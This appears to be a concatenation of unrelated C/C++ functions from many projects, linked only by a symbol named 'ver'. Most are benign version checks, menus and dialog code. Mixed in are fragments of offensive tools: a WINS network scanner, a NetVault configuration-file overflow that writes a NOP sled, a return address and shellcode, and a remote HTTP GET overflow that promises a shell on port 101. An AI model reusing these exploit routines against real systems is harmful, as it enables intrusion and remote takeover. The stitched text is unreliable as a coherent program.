/* HS_WINS 192.168.0.0 HS_WINS 192.168.0.0 -v HS_WINS 192.168.0.0 -vv HS_WINS 192.168.0.0 192.168.0.255 HS_WINS 192.168.0.0 192.168.0.255 -v HS_WINS 192.168.0.0 192.168.0.255 -vv HS_WINS 192.168.0.0 192.168.0.255 1000 HS_WINS 192.168.0.0 192.168.0.255 1000 -v HS_WINS 192.168.0.0 192.168.0.255 1000 -vv */ int main(int argc,char *argv[]) { vvv=argv[3],vvv2=argv[4],vvv3=argv[2]; if (argc<2){ver();usage();return -1;} for (;;) { if (argc==2&&strlen(argv[1])>7&&strlen(argv[1])<16|| argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)|| argc==3&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]|| argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&(strcmp(vvv,"-v")==0||strcmp(vvv,"-vv")==0)|| argc==4&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000|| argc==5&&strlen(argv[1])>7&&strlen(argv[1])<16&&strlen(argv[2])>7&&strlen(argv[2])<16&&argv[1]!=argv[2]&&atoi(argv[3])>0&&atoi(argv[3])<5000&&(strcmp(vvv2,"-v")==0||strcmp(vvv2,"-vv")==0)) { if (argc==3&&strcmp(vvv3,"-v")==0||argc==4&&strcmp(vvv,"-v")==0||argc==5&&strcmp(vvv2,"-v")==0){bose++;} else if (argc==3&&strcmp(vvv3,"-vv")==0||argc==4&&strcmp(vvv,"-vv")==0||argc==5&&strcmp(vvv2,"-vv")==0){bose2++;} if (argc==2||argc==3&&(strcmp(vvv3,"-v")==0||strcmp(vvv3,"-vv")==0)){ping++;} engine(argc,argv);break; } ver();printf("[+] wrong command line, type HS_WINS without arguments for the usage.\n");return -1; } #ifdef WIN32 WSACleanup(); #endif return 0; }
int main(int argc, char *argv[]) { { fprintf(stderr, "Has new version\n"); VersionChecker ver("http://zhanxw.com/rvtests/version"); if (ver.hasNewVersionThan(-1)) { ver.printNewVersion(); } } { fprintf(stderr, "No new version\n"); VersionChecker ver("http://zhanxw.com/rvtests/version"); if (ver.hasNewVersionThan(99999999)) { ver.printNewVersion(); } } { fprintf(stderr, "Wrong address\n") ; VersionChecker ver("http://nonexist.zhanxw/rvtests/version"); if (ver.hasNewVersionThan(99999999)) { ver.printNewVersion(); } } return 0; }
int main(int argc, char const *argv[]) { char input[15][30]; int argnum, i; pid_list.head=NULL; pid_list.tail=NULL; enqueue(getppid(),"NEW SHELL",&pid_list); signal(SIGCHLD,childdead); signal(SIGTSTP,susp); signal(SIGQUIT,cont); setpriority(PRIO_PROCESS,0,-20); ver(); while (run){ printf("=>"); for (argnum=0; (scanf("%s",&input[argnum]))==1;argnum++) if (getchar()=='\n') break; if (strcmp(input[0],"ver")==0 && argnum==0) ver(); else if (strcmp(input[0],"help")==0 && argnum==0) help(); else if (strcmp(input[0],"help")==0 && argnum==1) helpcmd(input[argnum]); else if (strcmp(input[0],"ps")==0 && argnum==0) ps(); else if (strcmp(input[0],"kill")==0 && argnum==1) mykill(atoi(input[1])); else if (strcmp(input[0],"exec")==0 && argnum!=0) for (i=1; i<=argnum; i++) exec(input[i]); else if (strcmp(input[0],"exit")==0 && argnum==0) myexit(); else printf("Nosuch command. Check help for help.\n"); } }
bool VersionManager::readSVDFromBuffer(const char* pBuffer,size_t size) { tinyxml2::XMLDocument doc; tinyxml2::XMLError ret = doc.Parse(pBuffer,size); if ( ret != tinyxml2::XML_SUCCESS ) { return false; } tinyxml2::XMLElement* pRootElement = doc.RootElement(); if ( pRootElement ) { for ( tinyxml2::XMLElement* pNode=pRootElement->FirstChildElement(); pNode; pNode=pNode->NextSiblingElement() ) { string eleName = pNode->Name(); if ( eleName == "ver" ) { VersionDef ver(pNode->GetText()); m_svd.ver = ver; } else if( eleName == "ip" ) { m_svd.ip = pNode->GetText(); } else if( eleName == "port" ) { m_svd.port = StringConverter::toInt(pNode->GetText()); } else if( eleName == "debug" ) { m_debug = StringConverter::toInt(pNode->GetText()); } if ( eleName == "ver_d" ) { VersionDef ver(pNode->GetText()); m_svd_d.ver = ver; } else if( eleName == "ip_d" ) { m_svd_d.ip = pNode->GetText(); } else if( eleName == "port_d" ) { m_svd_d.port = StringConverter::toInt(pNode->GetText()); } } return true; } return false; }
void try_prerelease_roll_forward_in_dir(const pal::string_t& cur_dir, const fx_ver_t& start_ver, pal::string_t* max_str) { pal::string_t path = cur_dir; if (trace::is_enabled()) { pal::string_t start_str = start_ver.as_str(); trace::verbose(_X("Reading prerelease roll forward candidates in dir [%s] for version [%s]"), path.c_str(), start_str.c_str()); } pal::string_t maj_min_pat_star = start_ver.prerelease_glob(); std::vector<pal::string_t> list; pal::readdir(path, maj_min_pat_star, &list); fx_ver_t max_ver = start_ver; fx_ver_t ver(-1, -1, -1); for (const auto& str : list) { trace::verbose(_X("Considering prerelease roll forward candidate version [%s]"), str.c_str()); if (fx_ver_t::parse(str, &ver, false) && ver.is_prerelease()) // Pre-release can roll forward to only pre-release { max_ver = std::max(ver, max_ver); } } max_str->assign(max_ver.as_str()); if (trace::is_enabled()) { pal::string_t start_str = start_ver.as_str(); trace::verbose(_X("Prerelease roll forwarded [%s] -> [%s] in [%s]"), start_str.c_str(), max_str->c_str(), path.c_str()); } }
AboutDialog::AboutDialog(QWidget* parent) : CBDialog(parent), ui(new Ui::AboutDialog) { ui->setupUi(this); QString ver("ComBomb version: "); ver.append(getVersion()); ui->combombVersionLabel->setText(ver); ver = "Cppssh version: "; ver.append(Cppssh::getCppsshVersion(true)); ui->cppsshVersionLabel->setText(ver); QString uptime("Uptime: "); std::stringstream buf; const std::chrono::duration<double> elapsed = MainWindow::getMainWindow()->getStartTimeDelta(); long days = std::chrono::duration_cast<std::chrono::hours>(elapsed).count() / 24; std::chrono::hours::rep hours = std::chrono::duration_cast<std::chrono::hours>(elapsed).count() % 24; std::chrono::minutes::rep minutes = std::chrono::duration_cast<std::chrono::minutes>(elapsed).count() % 60; std::chrono::seconds::rep seconds = std::chrono::duration_cast<std::chrono::seconds>(elapsed).count() % 60; buf << days << ":" << std::setw(2) << std::setfill('0') << hours << ":" << std::setw(2) << std::setfill('0') << minutes << ":" << std::setw(2) << std::setfill('0') << seconds; uptime.append(buf.str().c_str()); ui->uptimeLabel->setText(uptime); }
main (){ int opc; top = -1; do{ printf ("\n\n\n"); printf ("1. METER EN LA PILA (PUSH)\n\n"); printf ("2. SACAR DE LA PILA (POP)\n\n"); printf ("3. VER LA PILA\n\n"); printf ("4. SALIR\n"); printf ("\n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n"); printf (" Escoja una opcion \n"); scanf("%d", &opc); printf("\n\n"); switch (opc){ case 1 : push(); break; case 2: pop(); break; case 3: ver(); break; case 4: return; break; } } while (opc != 4); }
void sbbs_t::sys_info() { char tmp[128]; uint i; stats_t stats; bputs(text[SiHdr]); getstats(&cfg,0,&stats); bprintf(text[SiSysName],cfg.sys_name); bprintf(text[SiSysID],cfg.sys_id); /* QWK ID */ for(i=0;i<cfg.total_faddrs;i++) bprintf(text[SiSysFaddr],smb_faddrtoa(&cfg.faddr[i],tmp)); if(cfg.sys_psname[0]) /* PostLink/PCRelay */ bprintf(text[SiSysPsite],cfg.sys_psname,cfg.sys_psnum); bprintf(text[SiSysLocation],cfg.sys_location); bprintf(text[SiSysop],cfg.sys_op); bprintf(text[SiSysNodes],cfg.sys_nodes); // bprintf(text[SiNodeNumberName],cfg.node_num,cfg.node_name); bprintf(text[SiNodePhone],cfg.node_phone); bprintf(text[SiTotalLogons],ultoac(stats.logons,tmp)); bprintf(text[SiLogonsToday],ultoac(stats.ltoday,tmp)); bprintf(text[SiTotalTime],ultoac(stats.timeon,tmp)); bprintf(text[SiTimeToday],ultoac(stats.ttoday,tmp)); ver(); if(yesno(text[ViewSysInfoFileQ])) { CLS; sprintf(tmp,"%ssystem.msg", cfg.text_dir); printfile(tmp,0); } if(yesno(text[ViewLogonMsgQ])) { CLS; menu("logon"); } }
main (){ int opc; do{ printf ("\n\n\n"); printf ("1. METER EN LA COLA\n\n"); printf ("2. SACAR DE LA COLA\n\n"); printf ("3. VER COLA\n\n"); printf ("4. SALIR\n"); printf ("\n $$$$$$$$$$$$$$$$$$$$$$$$$$$$ \n"); printf (" Escoja una opcion \n"); scanf("%d", &opc); printf("\n\n"); switch (opc){ case 1 : insertar(); break; case 2: eliminar(); break; case 3: ver(); break; case 4: return; break; } } while (opc != 4); }
int main(int argc,char *argv[]) { ver(); if (argc>5||argc<2||atoi(argv[1])>2||atoi(argv[1])<1){usage(argv[0]);return -1;} if (check(argc,argv)==-1){return -1;} while (!feof(fl)) { fgets(line, sizeof(line),fl); if (strstr(line,vul)){ i++;j++;} if (i==2){ strcpy(line,vul); memset(line+5,0x90,600); memcpy(line+252,esp,4); memcpy(line+16,fun,32); memcpy(line+260,scode1,strlen(scode1)); memcpy(line+605,EOL,2);i=0;j++; } strcat(payload,line); } if (strstr(payload,vul)==NULL||j==1){ printf("[+] \"%s\" isn't a default NetVault file..\n",fp);return -1;} if (check2()==1){ fprintf(fl,"%s",payload); printf("[+] \"%s\" correctly exploited\n",fp); printf("[+] a service restart is needed to execute the payload\n"); } else printf("[+] can't write to \"%s\", something is wrong...\n",fp); return 0; }
// Finds the path of the latest installed eCos wxString ecSettings::FindLatestVersion() { #ifdef __WXGTK__ wxString ecosRoot(wxT("/opt/ecos")); wxLogNull log; wxDir dir(ecosRoot); wxString latestDir; wxString latestVersion; if (dir.IsOpened()) { wxString filename; bool cont = dir.GetFirst(& filename, wxT("ecos-*"), wxDIR_DIRS); while (cont) { wxString ver(filename.Mid(5)); if (latestVersion.IsEmpty() || latestVersion.CompareTo(ver) < 0) { latestVersion = ver; latestDir = ecosRoot + wxT("/") + filename; } cont = dir.GetNext(& filename); } } // if (latestDir.IsEmpty()) // latestDir = wxGetCwd(); return latestDir; #else wxMessageBox(wxT("FindLatestVersion() is only implemented for Unix.")); return wxEmptyString; #endif }
QString toOracleConnectionSub::version() { QString ver("%1%2"); return ver .arg((int)_login->_server.versionNumber(), 2, 10, QChar('0')) .arg((int)_login->_server.releaseNumber(), 2, 10, QChar('0')); }
void CommandEventHandler::handleLine(std::string line) { Logger::instance()->log("Recvd line: " + line); CommandLine cl(line); if (cl.cmd.empty()) return; std::string result(agentWarn("unknown command")); if (cl.cmd.compare("cat") == 0) result = cat(cl.args); else if (cl.cmd.compare("cd") == 0) result = cd(cl.args); else if (cl.cmd.compare("cwd") == 0) result = cwd(cl.args); else if (cl.cmd.compare("clok") == 0) result = clok(cl.args); else if (cl.cmd.compare("dirw") == 0) result = dirw(cl.args); else if (cl.cmd.compare("exec") == 0) result = exec(cl.args); else if (cl.cmd.compare("hash") == 0) result = hash(cl.args); else if (cl.cmd.compare("info") == 0) result = info(cl.args); else if (cl.cmd.compare("ps") == 0) result = ps(cl.args); else if (cl.cmd.compare("pull") == 0) result = pull(cl.args); else if (cl.cmd.compare("push") == 0) result = push(cl.args); else if (cl.cmd.compare("isdir") == 0) result = isDir(cl.args); else if (cl.cmd.compare("ls") == 0) result = ls(cl.args); else if (cl.cmd.compare("mkdr") == 0) result = mkdr(cl.args); else if (cl.cmd.compare("quit") == 0) result = quit(cl.args); else if (cl.cmd.compare("rebt") == 0) result = rebt(cl.args); else if (cl.cmd.compare("rm") == 0) result = rm(cl.args); else if (cl.cmd.compare("rmdr") == 0) result = rmdr(cl.args); else if (cl.cmd.compare("testroot") == 0) result = testroot(cl.args); else if (cl.cmd.compare("ver") == 0) result = ver(cl.args); if (!mBufSocket.sendClosed() && !mDataEventHandler) { // FIXME: It appears that DeviceManager will get confused if // the prompt isn't sent with the response for some commands. // I think this is a bug in DeviceManager, but it needs to be // further investigated. result += std::string(ENDL); result += mPrompt; mBufSocket.write(result.c_str(), result.size() + 1); } }
void CMainDialog::InitializeDisplay(void) { CCrashReporterApp* pApp = DYNAMIC_DOWNCAST(CCrashReporterApp, AfxGetApp()); ASSERT_VALID(pApp); m_Banner.SetTextColor(RGB(0,0,0)); m_Banner.SetBackgroundColor(RGB(255,255,255)); m_Banner.SetBold(TRUE); // get path to exe that crashed - we assume it is in same directory CString strExe = m_szModulePath; strExe += pApp->m_strUpdateItExe; // get version resource CMiniVersion ver(strExe); TCHAR szBuf[1000]; szBuf[0] = _T('\0'); // try to get description ver.GetFileDescription(szBuf, _countof(szBuf)-2); // if that failed try to get product name if (szBuf[0] == _T('\0')) ver.GetProductName(szBuf, _countof(szBuf)-2); ver.Release(); // if that failed just use exe name if (szBuf[0] == _T('\0')) _tcscpy(szBuf, pApp->m_strUpdateItExe); SetWindowText(szBuf); CString strBanner; strBanner.Format(_T("%s has encountered a problem and needs to close. ") _T("We are sorry for the inconvenience."), szBuf); m_Banner.SetWindowText(strBanner); m_Banner.SetMargins(22, 8); // get icon of crashed app HICON hIcon = ::ExtractIcon(AfxGetInstanceHandle(), strExe, 0); m_Icon.SetBackgroundColor(RGB(255,255,255), FALSE); if (hIcon) m_Icon.SetIcon(hIcon, FALSE); m_PleaseTellUs.SetBold(TRUE); m_What.SetLimitText(128*1024); // set edit box to 128 KB m_ClickHere.SetColours(m_ClickHere.GetLinkColour(), RGB(0,0,255), m_ClickHere.GetHoverColour()); m_ClickHere.EnableURL(FALSE); m_ClickHere.EnableTooltip(FALSE); m_ClickHere.SetNotifyParent(TRUE); }
void App::onUpdateCheckFinished(QNetworkReply* reply) { QRegularExpression ver("(\\d+)\\.(\\d+)\\.(\\d+)([a-z]|)"); if (!ver.match(GITTAG).hasMatch()) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Current build is not tagged to any particular version."); return; } auto current = ver.match(GITTAG).capturedTexts(); if (reply->error() != QNetworkReply::NoError) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Connection failed."); return; } QJsonParseError err; auto out = QJsonDocument::fromJson(reply->readAll(), &err); if (err.error != QJsonParseError::NoError) { QMessageBox::critical(NULL, "Update error", "<b>Update error:</b><br>" "Could not parse JSON file."); return; } auto latest = out.array()[0].toObject(); auto update = ver.match(latest["tag_name"].toString()).capturedTexts(); bool available = false; // Check for numerical superiority for (int i=1; i < 4; ++i) if (current[i].toInt() < update[i].toInt()) available = true; // Check for bug-fix release if (!update[4].isEmpty() && (current[4].isEmpty() || current[4] < update[4])) available = true; if (available) QMessageBox::information(NULL, "Update available", QString( "<b>Update available:</b><br>" "This is version %1<br>" "Version " "<a href=\"https://github.com/mkeeter/antimony/releases/%2\">" "%2</a> is available.").arg(current[0]) .arg(update[0])); else QMessageBox::information(NULL, "No update available", "No update is available at this time."); }
/* virtual */ opera_update_checker::status::Status OAUCRequestImpl::AddProductUpdatePart(const UpdateDataProvider& provider) { try { if (!document_.RootElement()) { document_.Parse(update_request_root); if (document_.Error()) return opera_update_checker::status::StatusCode::FAILED; } TiXmlDocument temp; TIXML_STRING name(provider.GetProductName() ? provider.GetProductName() : ""); TIXML_STRING encoded_name; TIXML_STRING ver(provider.GetProductVersion() ? provider.GetProductVersion() : ""); TIXML_STRING encoded_ver; TIXML_STRING lang(provider.GetProductLanguage() ? provider.GetProductLanguage() : ""); TIXML_STRING encoded_lang; document_.EncodeString(name, &encoded_name); document_.EncodeString(ver, &encoded_ver); document_.EncodeString(lang, &encoded_lang); sprintf(shared_work_buffer, update_product_part_template, encoded_name.c_str() ? encoded_name.c_str() : "", encoded_ver.c_str() ? encoded_ver.c_str() : "", encoded_lang.c_str() ? encoded_lang.c_str() : ""); temp.Parse(shared_work_buffer); if (temp.Error()) return opera_update_checker::status::StatusCode::FAILED; OAUC_ASSERT(document_.RootElement() && document_.RootElement()->FirstChildElement()); TiXmlElement* child = document_.RootElement()->FirstChildElement(); while (opera_update_checker::system_utils::SystemUtils::strnicmp(child->Value(), "product", 7) != 0) { child = child->NextSiblingElement(); OAUC_ASSERT(child); } TiXmlElement* elm = temp.RootElement(); do { child->InsertEndChild(*elm); elm = elm->NextSiblingElement(); } while (elm); if (TiXmlElement* products = product_res_document_.RootElement()) child->InsertEndChild(*products); } catch (...) { return opera_update_checker::status::StatusCode::OOM; } return opera_update_checker::status::StatusCode::OK; }
TInt CAudioOutputControlTestClass::SetDRMConfigIntfc( CStifItemParser& aItem ) { TPtrC object; TInt error = KErrNone; TInt err = CMultimediaFactory::CreateFactory(iFactorys); if(error == KErrNone) { iLog->Log(_L("CMultimediaFactory::CreateFactory OK")); } else { iLog->Log(_L("CMultimediaFactory::CreateFactory [%d]"),error); } error = iFactorys->CreateSourceControl( KDataBufferSourceControl, iSourceControl ); if(error == KErrNone) { iMDataBufferSource = static_cast<MDataBufferSource*>(iSourceControl); } if(error != KErrNone) { iLog->Log(_L("CreateSourceControl [%d]"),error); } if (iMDataBufferSource) { if (iDRMConfigIntfc) { delete iDRMConfigIntfc; iDRMConfigIntfc = NULL; } TAny* intfc(NULL); TVersion ver(KDRMConfigIntfcMajorVer1, KDRMConfigIntfcMinorVer1, KDRMConfigIntfcBuildVer1); TInt status = iMDataBufferSource->GetInterface(KDRMConfigIntfc, ver, intfc); if (status == KErrNone) { iDRMConfigIntfc = (CDRMConfigIntfc*)intfc; } } error = iAudioOutputControlUtility->SetDRMConfigIntfc(iDRMConfigIntfc); if(error == KErrNone) { FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc "))); iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc ")); } else { FTRACE(FPrint(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error)); iLog->Log(_L("CAudioOutputControlTestClass::SetDRMConfigIntfc Error [%d]"),error); } return error; }
static inline bool unpack_boolean(serial_context *ser_cont, bool in, as_val **out) { if (VERBOSE) { ver("%sBoolean %s", indent(ser_cont), in ? "true" : "false"); } return unpack_integer(ser_cont, in ? 1 : 0, out); }
int main(int argc,char *argv[]) { ver(); if ((argc<3)||(argc>4)||(atoi(argv[1])<1)||(atoi(argv[1])>2)){usage(argv[0]);return -1;} if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){cout<<"[+] wsastartup error: "<<WSAGetLastError()<<endl;return -1;} int ip=htonl(inet_addr(argv[2])), sz, port, sizeA, sizeB, sizeC, a, b, c; char *target, *os; if (argc==4){port=atoi(argv[3]);} else port=80; if (atoi(argv[1]) == 1){target=espxp1en;os="WinXP SP1 English";} if (atoi(argv[1]) == 2){target=esp2k4en;os="Win2k SP4 English";} if (atoi(argv[1]) == 3){target=espnt6en;os="WinNT SP6 English";} SOCKET s; struct fd_set mask; struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==INVALID_SOCKET){ cout<<"[+] socket() error: "<<WSAGetLastError()<<endl;WSACleanup();return -1;} cout<<"[+] target: "<<os<<endl; server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {cout<<"[+] select() error: "<<WSAGetLastError()<<endl;closesocket(s);return -1;} case 0: {cout<<"[+] connection failed."<<endl;closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { cout<<"[+] connected, constructing the payload..."<<endl; Sleep(1000); sizeA=1787; sizeB=414-sizeof(scode); sizeC=10; sz=sizeA+sizeB+sizeC+sizeof(scode)+17; memset(payload,0,sizeof(payload)); strcat(payload,"GET "); for (a=0;a<sizeA;a++){strcat(payload,"\x41");} strcat(payload,target); for (b=0;b<sizeB;b++){strcat(payload,"\x41");} strcat(payload,scode); for (c=0;c<sizeC;c++){strcat(payload,"\x41");} strcat(payload," HTTP/1.1\r\n\r\n"); Sleep(1000); if (send(s,payload,strlen(payload),0)==SOCKET_ERROR) { cout<<"[+] sending error, the server prolly rebooted."<<endl;return -1;} Sleep(1000); cout<<"[+] size of payload: "<<sz<<endl; cout<<"[+] payload send, connect the port 101 to get a shell."<<endl; return 0; } } closesocket(s); WSACleanup(); return 0; }
int engine(int argc,char *argv[]) { ver(); if (chk()==-1){ver();printf("[+] WARNING! can't create/write HS_WINS.txt, aborting..\n");return -1;} ipstart=htonl(inet_addr(argv[1])); if (ping==1){ipstop=htonl(inet_addr(argv[1]));} else ipstop=htonl(inet_addr(argv[2])); if (ipstart>ipstop){printf("[+] wrong command line, type HS_WINS without arguments for the usage.\n");return -1;} fprintf(fplog,"----------------------------------------------------------------------------\nCOMMAND: "); for (int argccmp=0;argccmp<argc;argccmp++){fprintf(fplog,"%s ", argv[argccmp]);} fprintf(fplog,"\n----------------------------------------------------------------------------\n\n"); fflush(fplog); if (argc==4&&bose==0&&bose2==0||argc==5){thread=atoi(argv[3]);} else thread=200; scan=(ipstop-ipstart)+1; for (tip=ipstart;ipstart<=ipstop;ipstart++,tip++,nub++,mthread++,scanend++) { if (tip%256==0||tip%256==-1){scanend--;scan--;nub--;mthread--;continue;} for (;;){if (mthread>=thread){sl(4);} else break;} // sl(1); #ifdef WIN32 CWinThread* pthread=AfxBeginThread(engine2,LPVOID(tip)); #else pthread_create(&pthread,NULL,engine2,(void*)tip); #endif if (se>20){printf("[+] too many socket errors, check your system configuration, aborting..\n");break;} } #ifdef WIN32 for(;;){ if (done2>25){printf("[+] status..: %d%s thread(s):%d (freezing, supposed done..) \n",(scanend)*100/(scan),pcent,mthread);break;} if (mthread!=0){sl(1);printf("[+] status..: %d%s thread(s):%d \r",(scanend)*100/(scan),pcent,mthread); if (mthread==mfreeze&&(mthread!=0||mfreeze!=0)){done2++;}else{mfreeze=mthread;}continue;} else {printf("[+] status..: %d%s thread(s):%d \n",(scanend)*100/(scan),pcent,mthread);break;} } #endif printf("[+] results.: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)\n",ok,nub,ok2,ok3,k3,k0,t4); fprintf(fplog,"----------------------------------------------------------------------------\n"); fprintf(fplog,"Scan complete: %d / %d IP(s) (open:%d wins:%d win2003:%d win2000:%d nt4:%d)\n",ok,nub,ok2,ok3,k3,k0,t4); fprintf(fplog,"------------------------------------------------[class101.org 2004-2005]----\n\n\n"); fflush(fplog); return 0; }
CSession2* CDummyServer::NewSessionL(const TVersion& aVersion,const RMessage2& /*aMessage*/) const { TVersion ver(KCountServMajorVersionNumber,KCountServMinorVersionNumber,KCountServBuildVersionNumber); if (!User::QueryVersionSupported(ver,aVersion)) { User::Leave(KErrNotSupported); } return new (ELeave) CDummyServerSession; }
bool Signer::verify( const std::vector<unsigned char> &data, const std::vector<unsigned char> &signature, const PublicKey &key) const { kulloAssert(key.type() == AsymmetricKeyType::Signature); Botan::PK_Verifier ver(*key.p->pubkey, EMSA); return ver.verify_message(data, signature); }
/** * * Create new server session. * * @param "const TVersion &aVersion" * Server version (required) * * @return "CSharableSession*" * The created server session. * * @xxxx * */ CMmfIpcSession* CTestFrameworkServer::NewSessionL(const TVersion &aVersion) const { TVersion ver(KTestFrameworkServerMajorVersionNumber, KTestFrameworkServerMinorVersionNumber, KTestFrameworkServerBuildVersionNumber); if (!User::QueryVersionSupported(ver, aVersion)) User::Leave(KErrNotSupported); // make new session return new(ELeave) CTestFrameworkServerSession(); }
Package::Package() : _versions(max_t) { for(int t=0; t < max_t; t++) { Version::Ptr ver(new Version); ver->set_time(t); _versions[t] = ver; } }
static inline bool unpack_nil(serial_context *ser_cont, as_val **out) { if (VERBOSE) { ver("%sNIL", indent(ser_cont)); } *out = (as_val *)&as_nil; return true; }
SVAPI_API OBJECT GetGroup(string groupid,string user,string addr) { if(groupid.empty()||user.empty()||addr.empty()) return INVALID_VALUE; if(user.size()>MAXUSERLEN) return INVALID_VALUE; S_UINT ver(0); return GetGroupWithVer(groupid,user,addr,ver); }
SVAPI_API OBJECT GetSVSE(string id,string user,string addr) { if(atoi(id.c_str())<=0) return INVALID_VALUE; if(user.empty()||addr.empty()) return INVALID_VALUE; S_UINT ver(0); return GetSVSEWithVer(id, user, addr, ver); }
wxString MusikApp::ReadOldVersionFile() { wxTextFile ver( MUSIK_VERSION_FILENAME ); wxString sRet; if ( ver.Open() ) { if ( ver.GetLineCount() != 0 ) sRet = ver.GetLine( 0 ); ver.Close(); } return sRet; }
void fill_version( U64 & version ) { version_t & ver( *(version_t *)&version ); std::tm data = NSSubWCRevProject::TimeNow; ver.time = std::mktime( &data ); ver.project = NSSubWCRevProject::Revision; ver.library = NSSubWCRevLib::Revision; #ifdef FOR_DEBUG ver.project |= 0x8000; #endif }
Tag* Capabilities::tag() const { if( !m_valid || m_node.empty() ) return 0; Tag* t = new Tag( "c" ); t->setXmlns( XMLNS_CAPS ); t->addAttribute( "hash", m_hash ); t->addAttribute( "node", m_node ); t->addAttribute( "ver", ver() ); return t; }